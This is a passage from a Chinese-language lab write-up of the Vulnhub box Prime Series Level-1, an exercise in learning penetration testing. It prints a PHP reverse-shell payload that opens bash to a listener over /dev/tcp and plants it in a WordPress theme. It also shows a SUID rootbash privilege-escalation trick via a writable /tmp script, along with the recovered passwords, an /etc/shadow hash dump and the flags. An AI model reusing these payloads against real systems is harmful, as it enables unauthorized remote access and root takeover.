041777/rwxrwxrwx 4096 dir 2025-03-25 10:44:16 +0800 VMwareDnD
040700/rwx------ 4096 dir 2025-03-25 10:45:33 +0800 systemd-private-25334c1d620f4dd69d80005459922a54-colord.
service-4gd8ES
040700/rwx------ 4096 dir 2025-03-25 10:45:26 +0800 systemd-private-25334c1d620f4dd69d80005459922a54-rtkit-d
aemon.service-ti6TTW
040700/rwx------ 4096 dir 2025-03-25 10:44:16 +0800 systemd-private-25334c1d620f4dd69d80005459922a54-systemd
-timesyncd.service-bWBd7B
040700/rwx------ 4096 dir 2025-03-25 10:44:31 +0800 vmware-root
#根据这里显示已经成功上传45010
ls
45010
VMwareDnD
systemd-private-25334c1d620f4dd69d80005459922a54-colord.service-4gd8ES
systemd-private-25334c1d620f4dd69d80005459922a54-rtkit-daemon.service-ti6TTW
systemd-private-25334c1d620f4dd69d80005459922a54-systemd-timesyncd.service-bWBd7B
vmware-root
chmod +x 45010
./45010
./45010: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./45010)
#经过查询,发现 version `GLIBC_2.34' not found这里提醒的是版本太低
因为版本问题,去修改很麻烦,所以换个方式使用这个45010
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/61.139.2.130/9999 0>&1'");
?>
这里 写kali的ip,尝试反弹shell
┌──(root㉿kali)-[~]
└─# nc -lvnp 9999
listening on [any] 9999 ...
connect to [61.139.2.130] from (UNKNOWN) [61.139.2.132] 37692
bash: cannot set terminal process group (1047): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$ sudo -l
<ml/wordpress/wp-content/themes/twentynineteen$ sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(root) NOPASSWD: /home/saket/enc
尝试提权,sudo –l 查看权限,发现目录/home/saket/enc,提示信息(root) NOPASSWD: /home/saket/enc
直接cd不进去,那就一个一个进
最终拿到user.txt ===> af3c658dcf9d7190da3153519c003456
现在还需要进一步想办法查看到enc文件的权限
脏牛尝试也不行
--static
google大法
参考文章https://github.com/yufongg/writeups/blob/main/Vulnhub/Linux/Prime%201/Prime%201.md#/
继续这一步
尝试在kali系统里面找,
www-data@ubuntu:/$ find / 2>/dev/null | grep -v /usr/share | grep pass
/usr/lib/pppd/2.4.7/passwordfd.so
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/__pycache__/resource_owner_password_credentials.cpython-35.pyc
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py
/usr/lib/python2.7/getpass.py
/usr/lib/apache2/modules/mod_proxy_fdpass.so
/usr/lib/gnupg2/gpg-preset-passphrase
/usr/lib/python3.5/getpass.py
/run/systemd/ask-password
/bin/systemd-tty-ask-password-agent
/bin/systemd-ask-password
/opt/backup/server_database/backup_pass <- BACKUP PASS
找到 /opt/backup/server_database/backup_pass
直接看看这里 /opt/backup/server_database/backup_pass
输入密码backup_password
,发现enc会给一些东西了
enc.txt
nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=
拿到enc里面的密文,结合刚刚user.txt,并且突然发现“enc” 就是在提示要解密啊啊啊啊!!!!!可以才猜测是aes了
所以继续找key.txt,然后这里给了ippsec提示md5
www-data@ubuntu:/home/saket$ cat key.txt
cat key.txt
I know you are the fan of ippsec.
So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.
www-data@ubuntu:/home/saket$ cat key.txt
cat key.txt
I know you are the fan of ippsec.
So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.
www-data@ubuntu:/home/saket$ echo -n ippsec | md5sum
echo -n ippsec | md5sum
366a74cb3c959de17d61db30591c39d1 -
www-data@ubuntu:/home/saket$
也就是 echo -n ippsec | md5sum
得到key.txt 366a74cb3c959de17d61db30591c39d1
然后拿到
RG9udCB3b3JyeSBzYWtldCBvbmUgZGF5IHdlIHdpbGwgcmVhY2ggdG8Kb3VyIGRlc3RpbmF0aW9uIHZlcnkgc29vbi4gQW5kIGlmIHlvdSBmb3JnZXQgCnlvdXIgdXNlcm5hbWUgdGhlbiB1c2UgeW91ciBvbGQgcGFzc3dvcmQKPT0+ICJ0cmlidXRlX3RvX2lwcHNlYyIKClZpY3Rvciw=
base64解密拿到 Victor tribute_to_ippsec
www-data@ubuntu:/home/saket$ echo RG9udCB3b3JyeSBzYWtldCBvbmUgZGF5IHdlIHdpbGwgcmVhY2ggdG8Kb3VyIGRlc3RpbmF0aW9uIHZlcnkgc29vbi4gQW5kIGlmIHlvdSBmb3JnZXQgCnlvdXIgdXNlcm5hbWUgdGhlbiB1c2UgeW91ciBvbGQgcGFzc3dvcmQKPT0+ICJ0cmlidXRlX3RvX2lwcHNlYyIKClZpY3Rvciw= | base64 -d
<+ICJ0cmlidXRlX3RvX2lwcHNlYyIKClZpY3Rvciw= | base64 -d
Dont worry saket one day we will reach to
our destination very soon. And if you forget
your username then use your old password
==> "tribute_to_ippsec"
Victor,www-data@ubuntu:/home/saket$
给了Victor,这里可以再试试saket,也需要切换交互式
www-data@ubuntu:/var/www$ tty
tty
not a tty
www-data@ubuntu:/var/www$ bash ./test.sh
bash ./test.sh
bash: ./test.sh: No such file or directory
www-data@ubuntu:/var/www$ su victor
su victor
su: must be run from a terminal
www-data@ubuntu:/var/www$script /dev/null
Script started, file is /dev/null
$ su saket
su saket
Password: tribute_to_ippsec
saket@ubuntu:/var/www$
给了提示
saket@ubuntu:/var/www$ sudo -l
sudo -l
Matching Defaults entries for saket on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User saket may run the following commands on ubuntu:
(root) NOPASSWD: /home/victor/undefeated_victor
sudo /home/victor/undefeated_victor不成功
saket@ubuntu:/var/www$ sudo /home/victor/undefeated_victor
sudo /home/victor/undefeated_victor
if you can defeat me then challenge me in front of you
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found
saket@ubuntu:/var/www$printf '#!/bin/bash\n\ncp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash\n' > /tmp/challenge; chmod 4777 /tmp/challenge;
查看能不能进root
saket@ubuntu:~$ /tmp/rootbash -p
/tmp/rootbash -p
rootbash-4.3# whoami
whoami
root
rootbash-4.3# ls
ls
enc enc.txt key.txt password.txt user.txt
rootbash-4.3# cat user.txt
cat user.txt
af3c658dcf9d7190da3153519c003456
rootbash-4.3# cat password.txt
cat password.txt
follow_the_ippsec
rootbash-4.3# cat enc.txt
cat enc.txt
nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=
切换到root下
rootbash-4.3# cd /root
cd /root
rootbash-4.3# ls
ls
enc enc.cpp enc.txt key.txt root.txt sql.py t.sh wfuzz wordpress.sql
rootbash-4.3# cat /etc/shadow
cat /etc/shadow
root:$6$4JnZ9LD4$rvVg3L9wZnrTrFPHOvHfWav7WObqy/TybGeH6cQX3Z.bBMbRUnFkh2314qjAHbazsB7L.h/vd/ypi1XSnqC6E0:18140:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:*:17379:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
victor:$6$RFdRixC9$/e9/mnvPAhsqDsbXbxZDVAU5XMdJoJ6NdROuHD5iVvee5IhLLhA9p6LpXiWN6w3Sc7OL1QZKhitMEiIW/5.qb1:18140:0:99999:7:::
mysql:!:18137:0:99999:7:::
saket:$6$QPh3ZS4a$trjFhWeIHm.b1gP1V7Egaen2BhmHOiISGPXM.ZdShQqhUf5QON/UbG5W8eGX72CGiCsOcfr2F/ywegJQ0H6bc0:18138:0:99999:7:::
sshd:*:18137:0:99999:7:::
guest-qux2p1:!:20173::::::
rootbash-4.3# id
id
uid=1001(saket) gid=1001(saket) euid=0(root) groups=1001(saket)
最后,我们可以查看 root 目录下的 flag 文件:
cat /root/root.txt
b2b17036da1de94cfb024540a8e7075a
这样,我们就成功完成了对 Prime Series Level-1 靶机的渗透测试,从网络扫描到权限提升的整个过程。
2.6 rootbash
这里用到一个工具
┌──(root㉿kali)-[/home/kali/桌面]
└─# chmod +x linpeas.sh
┌──(root㉿kali)-[/home/kali/桌面]
└─# ./linpeas.sh
扫描到一个 /opt/backup
cat /opt/backup/server\_database/backup\_pass
也可以得到 backup_password
密码
2.6.1 现在要进一步开始尝试改密码
euid=0你确实有root权限,passwd会检查uid
改密码可以直接修改shadow 或者加个sudoer直接拿到uid=0
2.6.2 怎么才可以弹shell是root权限的shell
创建challenge文件之后,前面都是不加权限,直接写的东西
这次先加权限,再去challenge写入 echo "bash -p" > /tmp/chasllenge
然后再去sudo发现就没有以下的另外提示了
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found
继续,id一下,这次就没有euid,是一个完整的root权限了
2.6 总结
通过这次渗透测试,以下是关键技术和方法:
- 使用 arp-scan 和 nmap 进行网络扫描和端口识别
- 使用 dirb 进行目录扫描
- 利用文件包含漏洞读取敏感文件
- 使用 wfuzz 进行参数爆破
- 利用 WordPress 漏洞上传反弹 shell
- 使用 Metasploit 设置监听器和获取 meterpreter 会话
- 利用内核漏洞进行权限提升
以上内容很乱,思路就是常规的,哪个能实现用哪个即可
不能实现的,可以私聊,我也非常乐意多学习学习